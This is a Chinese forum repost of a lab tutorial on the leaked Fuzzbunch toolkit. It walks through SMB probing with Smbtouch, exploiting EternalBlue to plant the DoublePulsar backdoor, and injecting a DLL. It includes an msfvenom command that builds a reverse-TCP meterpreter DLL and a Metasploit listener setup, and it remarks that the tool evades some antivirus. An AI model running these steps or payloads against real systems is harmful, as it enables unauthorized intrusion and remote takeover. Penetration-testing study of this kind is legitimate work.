搜索

[27292] 2021-07-20_fuzzbunch工具实现dll注入

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-07-20_fuzzbunch工具实现dll注入 f u z z b u n c h 工 具 实 现 d l l 注 入 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 7 - 2 0 收 录 于 话 题 # 内 网 安 全   , 8 # 神 兵 利 器   , 5 # 内 网 安 全 小 组   , 2 8 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   内 网 安 全 知 识 内 网 安 全 知 识 星 球 星 球 本 文 作 者 ： B l a c k C a t （ M s 0 8 0 6 7   内 网 小 组 成 员 ） 前 言 前 言 上 阶 段 无 意 间 接 触 到 了 这 个 工 具 ， 感 觉 功 能 还 可 以 ， 在 最 近 的 h w 中 ， 测 试 发 现 ， 在 一 些 0 8 的 机 器 ， 用 这 个 打 要 比 m s f 打 成 功 的 几 率 要 高 一 些 ， 而 且 国 内 有 些 杀 软 可 过 。 f u z z b u n c h 功 能 类 似 于 m e t a s p l o i t ， 功 能 较 为 自 动 化 ， 可 以 对 目 标 机 器 进 行 漏 洞 探 测 ， 并 查 看 可 利 用 的 信 息 ， 然 后 通 过 利 用 这 个 系 统 漏 洞 ， 如 ： 永 恒 之 蓝 ， （ 可 以 通 过 永 恒 之 蓝 执 行 并 在 目 标 机 器 生 成 一 个 后 门 文 件 ， 再 通 过 这 个 后 门 文 件 远 程 注 入 d l l 文 件   ） d l l 文 件 可 以 用 自 己 m s f 或 者 C S 生 成 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / p e t e r p t / f u z z b u n c h . g i t 实 验 环 境 要 求 实 验 环 境 要 求 实 验 目 的 ： 攻 击 机 首 先 通 过 C S   获 取 9 3 . 1 6 这 台 的 权 限 ， 通 过 3 3 8 9 登 陆 到 该 系 统 ， 通 过 f u z z b u n c h 工 具 ， 使 目 标 机 器 ： 9 3 . 4 上 线   （ 真 实 环 境 可 通 过 全 局 代 理 过 去 ） 工 具 运 行 机 器 ： W i n d o w s   7   I P ： 1 9 2 . 1 6 8 . 9 3 . 1 7 （ p y t h o n 2 . 6     、 p y w i n 3 2 ） 目 标 靶 机 ： w i n 7 ： 1 9 2 . 1 6 8 . 9 3 . 4 控 制 端 ： V P S ： x . x . x . x 文 件 解 压 后 是 这 样   ： 总 共 包 含 三 个 目 录 ： 1 .   w i n d o w s 目 录 针 对 W i n d o w s 操 作 系 统 的 利 用 工 具 和 相 关 攻 击 代 码 ； 2 .   s w i f t 目 录 中 是 包 含 入 侵 s w i f t 银 行 系 统 的 操 作 记 录 等 相 关 证 据 ； / / 不 用 管 3 .   o d d j o b 目 录 是 后 门 R o o t k i t 等 相 关 文 档 。 / / 不 用 管 攻 击 模 块 介 绍 攻 击 模 块 介 绍 打 开 w i n d o w s 目 录 ：
主 要 看 这 个 工 具 ： f b . p y F B 模 块 介 绍 模 块 介 绍 f u z z b u n c h 功 能 类 似 于 m e t a s p l o i t ， 功 能 较 为 自 动 化 。 f u z z b u n c h 下 载 地 址 h t t p s : / / g i t h u b . c o m / f u z z b u n c h / f u z z b u n c h 。 f b . p y   即 f u z z b u n c h   框 架 的 入 口 文 件 ， f b . p y 用 于 调 用 各 个 攻 击 模 块 ， 这 些 攻 击 模 块 有 较 多 专 注 于 W i n d o w s   的 S M B 服 务 （ 详 见 下 文 ） 。 f u z z b u n c h   支 持 自 动 调 用   或 手 动 配 置 模 块 ， 模 块 的 使 用 趋 于 自 动 化 ， 模 块 之 间 也 会 自 动 调 用 ， 用 于 信 息 探 测 等 ， 模 块 也 可 以 通 过 x m l   文 件 的 修 改 自 行 定 义 参 数 ， 常 见 的 配 置 文 件 方 式 以 x x . x m l 以 及 x x . f b 文 件 存 在 。 各 个 模 块 功 能 详 细 不 去 赘 述 ， 用 到 时 会 逐 一 讲 解 。 1 . 在 跳 板 机 上   先 运 行 i n s t a l l . b a t 自 动 给 你 安 装 你 所 需 要 的 组 件 ， 如 p y w i n 3 2 ， 然 后 使 用 P y t h o n 2 . 6 运 行 f b . p y 运 行 成 功 会 展 现 以 下 界 面
填 写 默 认 配 置 ， 目 标 I P 地 址 、 C a l l b a c k I P 、 日 志 地 址 、 项 目 名 称 t c c 等
目 标 地 址 ： 靶 机     1 9 2 . 1 6 8 . 9 3 . 1 7 C a l l   b a c k I P ： 跳 板 机     1 9 2 . 1 6 8 . 9 3 . 4 按 照 图 中 操 作 ： 然 后 会 进 到 F B 交 互 页 面 ： 敲 问 号 ， 操 作 说 明
键 入 u s e 命 令 ， 可 以 列 出 当 前 可 以 使 用 的 插 件 ， 和 M S F 风 格 很 类 似 ：
插 件 被 分 解 成 几 类 ： 插 件 被 分 解 成 几 类 ： 目 标 识 别 和 利 用 漏 洞 发 现 ： A r c h i t o u c h ， R p c t o u c h ， D o m a i n t o u c h ， S m b t o u c h 等 ; 漏 洞 利 用 ： E t e r n a l B l u e ， E m e r a l d t h r e a d ， E c l i p s e d w i n g ， E t e r n a l R o m a n c e 等 ; 目 标 攻 击 后 后 操 作 ： D o u p l e p u l s a r , R e g r e a d , R e g w r i t e 等 。 一 、 一 、 S m b t o u c h 模 块 探 测 可 利 用 漏 洞 模 块 探 测 可 利 用 漏 洞 然 后 我 们 通 过 使 用 S m b t o u c h 使 用 s m b 协 议 来 检 测 对 方 操 作 系 统 版 本 、 架 构 、 可 利 用 的 漏 洞 。 然 后 默 认 执 行 即 可 ， 前 提 目 标 机 器 开 4 4 5 端 口 ， 检 测 完 成 后   会 把 可 利 用 的 漏 洞 信 息 写 在 下 面
这 是 执 行 成 功 后 的 页 面 显 示 ， 圈 出 部 分 为 可 利 用 的 永 恒 系 列 漏 洞 ， 这 里 使 用 最 经 典 的 永 恒 之 蓝 二 、 使 用 二 、 使 用 E T E R N A L B L U E 生 成 后 门 文 件 生 成 后 门 文 件 选 择 ” E t e r n a l b l u e ” ， 并 执 行 。 如 下 图 ， f b 会 自 动 载 入 预 设 配 置 进 行 相 应 配 置 ， 包 含 网 络 连 接 超 时 配 置 、 目 标 I P 、 目 标 端 口 、 是 否 验 证 、 是 否 验 证 后 门 、 最 大 e x p l o i t 次 数 、 系 统 选 择 等 。 如 下 图 ： 非 特 殊 情 况   保 持 默 认 （ 注 意 选 择 对 应 的 系 统   X 6 4 、 X 8 6 ） ， 回 车 即 可 然 后 保 持 默 认   ， 需 要 注 意 的 是 到 这 两 个 步 骤 是 要 根 据 实 际 情 况 去 选 择 u s e   E t e r n a l b l u e
模 式 选 择 ： 1 > F B 。   或 者 1 > 。 进 行 配 置 ， 在 配 置 完 成 后 ， 会 显 示 E t e r n a l b l u e 插 件 的 配 置 详 情 。 然 后 成 功 后   会 给 一 个 配 置 信 息 页 面 ， 这 时 ， 已 经 成 功 在 目 标 机 器 上 植 入 了 后 门 。
攻 击 成 功 三 、 注 入 三 、 注 入 d l l 使 用 D o u b l e P u l s a r 插 件 , D o u b l e P u l s a r 类 似 于 一 个 注 入 器 , 有 以 下 几 个 功 能 。 P i n g ： 检 测 后 门 是 否 部 署 成 功 R U N D L L ： 注 入 d l l 。 R u n S h e l l c o d e ： 注 入 s h e l l c o d e U n i n s t a l l ： 用 于 卸 载 系 统 上 的 后 门 这 里 主 要 是 使 用 r u n d l l 模 板 注 入 d l l 。 这 里 先 用 M S F 生 成 d l l 文 件 ， 放 到 跳 板 机 的 目 录 下 然 后 开 启 监 听 ： 然 后 使 用 D o u b l e P u l s a r 插 件 ， 配 置 如 下 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 9 3 . 2   L P O R T = 8 8 8 8   - f   d l l   >   1 . d l l m s f 6   >   u s e   e x p l o i t / m u l t i / h a n d l e r   m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   L h O S T   1 9 2 . 1 6 8 . 9 3 . 2 m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   8 8 8 8 m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   r u n
然 后 执 行 ， 执 行 成 功 后 会 显 示 如 下 信 息 此 时 观 测 M S F 端
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理